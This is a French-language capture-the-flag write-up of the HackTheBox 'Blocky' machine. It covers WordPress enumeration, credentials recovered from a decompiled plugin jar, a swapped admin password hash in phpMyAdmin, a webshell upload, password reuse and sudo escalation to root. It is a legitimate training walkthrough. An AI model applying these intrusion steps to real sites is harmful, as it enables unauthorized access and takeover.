Aller au contenu principal

HACKTHEBOX - BLOCKY

Lien : https://app.hackthebox.com/machines/blocky

Enumeration

Output nmap
PORT     STATE  SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5a
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
|_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
80/tcp open http Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://blocky.htb
8192/tcp closed sophos
Service Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nous avons un site web, avec le vhost suivant : blocky.htb. Nous l'ajoutons au fichier /etc/hosts.

Nous avons un site wordpress, ayant pour thême le jeu Minecraft :

Qui dit wordpress, dit WPScan :

[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://blocky.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blocky.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://blocky.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blocky.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8 identified (Insecure, released on 2017-06-08).
| Found By: Rss Generator (Passive Detection)
| - http://blocky.htb/index.php/feed/, <generator>https://wordpress.org/?v=4.8</generator>
| - http://blocky.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.8</generator>

[+] WordPress theme in use: twentyseventeen
| Location: http://blocky.htb/wp-content/themes/twentyseventeen/
| Last Updated: 2024-04-02T00:00:00.000Z
| Readme: http://blocky.htb/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.6
| Style URL: http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blocky.htb/wp-content/themes/twentyseventeen/style.css?ver=4.8, Match: 'Version: 1.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <======================================================================================================================================> (100 / 100) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] notch
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://blocky.htb/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] Notch
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

Il est possible de sortir 2 données intéressantes sur le site blocky.htb :

  1. Le directory listing est possible dans le dossier d'upload. S'il est possible d'uploader un fichier php arbitraire, il nous serait possible d'éxécuter du code
  2. Un utilisateur nommé notch existe, mais le mot de passe ne semble pas être devinable
  3. XMLRPC est activé, ce qui nous permet de bruteforcer le mot de passe de n'importe quel utilisateur, cependant sans succès

On continue avec une énumération des dossiers/fichiers avec dirsearch :

Output dirsearch
[02:04:12] 301 -    0B  - /index.php  ->  http://blocky.htb/
[02:04:13] 404 - 48KB - /index.php/login/
[02:04:14] 301 - 313B - /javascript -> http://blocky.htb/javascript/
[02:04:16] 200 - 7KB - /license.txt
[02:04:21] 301 - 313B - /phpmyadmin -> http://blocky.htb/phpmyadmin/
[02:04:27] 301 - 310B - /plugins -> http://blocky.htb/plugins/
[02:04:27] 200 - 409B - /plugins/
[02:04:27] 200 - 3KB - /phpmyadmin/index.php
[02:04:27] 200 - 3KB - /phpmyadmin/doc/html/index.html
[02:04:27] 200 - 3KB - /phpmyadmin/
[02:04:30] 200 - 3KB - /readme.html
[02:04:32] 403 - 298B - /server-status
[02:04:32] 403 - 299B - /server-status/

Foothold

On constate 2 dossiers intéressants :

  1. Un phpmyadmin, mais qui demande un utilisateur valide
  2. Un dossier plugins qui contient 2 fichiers .jar

En téléchargeant ces fichiers, et en décompilant le .jar (http://www.javadecompilers.com/), des credentials sont trouvables :

Blockycore.jar
//Blockycore.jar
package com.myfirstplugin;

public class BlockyCore {
public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";

public void onServerStart() {
}

public void onServerStop() {
}

public void onPlayerJoin() {
this.sendMessage("TODO get username", "Welcome to the BlockyCraft!!!!!!!");
}

public void sendMessage(String username, String message) {
}
}

Les credentials semblent être valides pour le phpmyadmin, notamment du à l'utilisation des noms de variables sqlHost, sqlUser, sqlPass.

User

Une fois connectés au phpmyadmin, la table wordpress est disponible. Elle renferme un hash correspondant à l'utilisateur notch :

Cependant, ce hash ne semble pas craquable. Cependant, nous pouvons le modifier pour avoir accès au panel d'administration wordpress !

Grâce à ce site (http://scriptserver.mainframe8.com/wordpress_password_hasher.php), il est possible de généréer un hash compatible à partir d'une chaîne de caractères connues.

En remplaçant la valeur du hash précédent par celui ci, nous pouvons nous connecter au panel adminstrateur du wordpress :

Une fois sur le panel admin, il est possible de téléverser un webshell via la fonction de téléversement de plugins :

Une erreur sera générée mais le fichier sera bien téléversé :

Et notre webshell est disponible dans le répertoire d'uploads :

A partir de celui ci, nous pouvons faire notre reverse shell de la manière que l'on souhaite, et nous avons un reverse shell en tant que www-data :

Cependant, nous ne sommes toujours pas connectés en tant que notch. En essayant le mot de passe que l'on avait trouvé initialement dans le fichier .jar nous permet de nous connecter en tant que notch :

Login as notch
$ su notch
su notch
Password: 8YsqfCTnvxAUeduzjNSXe22

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

notch@Blocky:/tmp$
remarque

Il était possible également de se connecter directement en ssh dans la machine, avec ce même mot de passe. Pour un soucis de réalisme (et aussi parce que c'est un peu + cool), ce writeup n'utilisera ni FTP, ni SSH :)

Root

La première chose à faire est de vérifier les sudoers :

sudo -l
notch@Blocky:/tmp$ sudo -l 
sudo -l
[sudo] password for notch: 8YsqfCTnvxAUeduzjNSXe22

Matching Defaults entries for notch on Blocky:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
(ALL : ALL) ALL

Avec cette information, nous savons que notch peut effectuer n'importe quelle commande avec son mot de passe en tant que root. Nous avons directement le root flag :)

Root command
notch@Blocky:/tmp$ sudo whoami
sudo whoami
root